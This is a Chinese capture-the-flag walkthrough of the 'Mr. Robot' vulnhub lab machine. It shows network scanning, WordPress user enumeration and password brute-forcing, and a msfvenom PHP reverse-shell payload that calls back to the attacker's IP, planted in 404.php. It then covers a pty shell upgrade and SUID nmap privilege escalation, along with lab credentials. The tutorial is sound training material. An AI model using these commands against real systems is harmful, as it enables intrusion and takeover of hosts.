靶機說明:
靶機主題來自美劇《黑客軍團》
本次靶機有三個flag,難度在初級到中級,非常適合新手訓練學習,不需要逆向技術,目標就是找到三個key,並且拿到主機root權限。
滲透過程:
本次靶機已經導入VM,采用的是橋接模式,
攻擊機用的是parrot linux+windows10,攻擊機IP為:192.168.0.104
由於在同一網段內,我們用nmap找出靶機IP地址:
nmap -sP 192.168.0.0/24
得到靶機IP地址為:192.168.0.107
我們用nmap對靶機IP進行信息探測:
nmap -sV -O 192.168.0.107
發現開了22,80,443端口
我們訪問靶機 http://192.168.0.107 主頁:
發現是linux的命令輸入框,最后那個#差點讓我認為是root權限,查看源代碼也沒有什么有用的信息
我們先用dirb來跑一下目錄,滲透之前,准備工作要做好:
dirb http://192.168.0.107 /usr/share/wordlists/dirb/big.txt
發現好多目錄,還有許多敏感的目錄,比如 robots.txt,
看到還有 /wp-admin,/wp-content 這些目錄,這不是wordpress的系統架構嗎,推測靶機應該是
wordpress搭建的博客,還有一些其他目錄 /intro,/
emmm...似乎有點混亂,我們用dirsearch.py腳本通過篩選再來掃一遍:
這樣就清楚多了,我們先來訪問robots.txt:
我好像看見了key-1-of-3.txt,這或許就是那1/3flag,同時我們還發現一個目錄,
我們先訪問這個key:
這個像是key的MD5哈希值,但是不好破解...
我們再訪問同時出現的這個目錄 fsocity.dic:
我們下載並打開:
這給我的感覺...完全是一個字典文件啊...
不過太多,並且很多重復,我們刪除一下重復項:
這個字典水分有點大,濃縮過后才11451條,
我們先不急着爆破,既然它是wordpress,kal等工具自帶的wpscan完全可以用
來掃出漏洞,我們先來枚舉用戶:
....連用戶名都沒有掃出來
我們看這個博客的登陸頁面,也就是 /wp-login
我們嘗試用admin/admin888登陸:
雖然沒有登錄成功,但是錯誤提示是 :ERROR: Invalid username.
提示無用的用戶名,應為之前本地搭建過wordpress,所以用戶名正確,
密碼不對時,頁面會回顯:ERROR: The pssword you entered for the username
我們現在手里也有一個之前下載編輯好的字典文件:fsocity_filtered.txt
我們或許寫一個python腳本根據頁面回顯,來判斷用戶名是否正確:
我們運行腳本,到時候會輸出用戶名:
根據python腳本的運行結果,我們發現用戶名為 elliot
現在我們需要獲得密碼,我們用wpscan使用相同的字典爆破:
wpscan --url http://192.168.0.107 --wordlist=/home/bmjoker/fsocity_filtered.txt --username elliot --threads 20
成功得到用戶名跟密碼: elliot/ER28-0652
我們嘗試登陸wordpress:
並且順帶查看了這個用戶的權限:
Administrator...權限夠大的啊,對付wordpress,在我以前寫的滲透測試案例有過總結,
感興趣的小伙伴可以翻下之前的,這里通過修改Appearance -> Editor -> 404.php來得到shell:
先用mafvenom生成一個php馬:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.103 LPORT=4444 -f raw -o payload.php
然后將生成的payload.php直接覆蓋404.php:
然后再kali設置監聽IP,端口:
然后我們隨便訪問一個不存在的頁面來觸發這個shell,比如我們訪問:
http://192.168.0.107/123456
我們查看一下監聽:
成功監聽!!!我們切換shell窗口
我們下一步的任務就是提權並找到key:
我們在目錄搜索中,找到了key-2-of-3.txt:
查看的時候,被權限給攔住了,不過同目錄下還有個 password.raw-md5,得到了:
robot:c3fcd3d76192e4007dfb496cca67e13b
感覺像是一個用戶名和一個md5哈希密碼,嘗試解密:
得到密碼為:abcdefghijklmnopqrstuvwxyz
我們嘗試登陸robot這個用戶來查看key:
必須運行在一個終端中,這表明我們沒有正確的shell運行...
我們直接用 python -c 'import pty; pty.spawn("/bin/bash")'
來模擬一個終端,來su robot :
成功得到第二個key,
從上面的key,我估計我們必須用root權限才能得到第三個key,
我嘗試了一些常規的提權方法,找了一些exploitDB的漏洞,但這些都沒有用
我們嘗試從有root權限的進程入手:
(這是關於這個靶機的典型提權案例nmap:https://blog.csdn.net/yaofeino1/article/details/62897259)
對linux中SUID標識位的理解:
我們執行shell命令實際上是對應於某個二進制的可執行文件或者可執行的腳本,通常以提交這個命令的用戶的權限運行,但是有的命令執行過程要往某個文件中寫入一些東西。比如某個不具有root權限的用戶想要修改自己的密碼,他就要修改/etc/passwd文件,但是我們查看一下passwd的權限設置就知道passwd文件對於普通用戶而言不具有寫的權限,這樣可以防止普通用戶更改別人或者root的密碼,但是他總該可以更改自己的密碼吧,這點權限還是應該有的,你想到什么好的方法可以解決這個問題嗎?
這就要說道linux中的SUID標志位,它可以把一個文件設置為這樣的訪問權限:普通用戶只有在執行特定命令(入passwd 更改密碼)時,才可以更改或者寫入文件(如/etc/passwd),也就相當於只可以在受保護的文件的特定部分可以寫入(如passwd中的自己的密碼那部分),這樣就很好的解決了保護重要的文件的同時又可以在特定的情況下讓普通用戶更改該文件。
如果大致理解的話我們繼續:
我們搜索標識位SUID為root的文件:
(linux提權命令詳解:https://blog.csdn.net/qk1992919/article/details/51381644)
find / -user root -perm -4000 2>/dev/null
通過截圖,我們發現nmap居然有SUID標志位,來看看nmap版本
一個非常老的nmap版本,但是這個版本的nmap如何幫我們提權呢?
經過大量的谷歌搜索后,發現nmap支持“interactive.”選項,用戶能夠
通過該選項執行shell命令,通常,安全人員會使用該命令來避免他們
使用nmap命令被記錄在history文件中:
我們成功的到最后一個key,任務完成!
總結:
1.使用 python -c ‘import pty; pty.spawn(“/bin/bash”)’ 可以獲得一個穩定的shell,這個在實際滲透中用處也很大。
2.學習多種提權方式,包括本節的nmap老版本提權,在下一節還會介紹別樣的提權。
3.wordpress有很多獲得shell的方法,不只是修改404腳本,還可以通過修改插件來getshell,不懂的話看我以前的測試案例。
4.還是多動手實踐,靶場來自於vulnhub,大家有興趣自己嘗試一下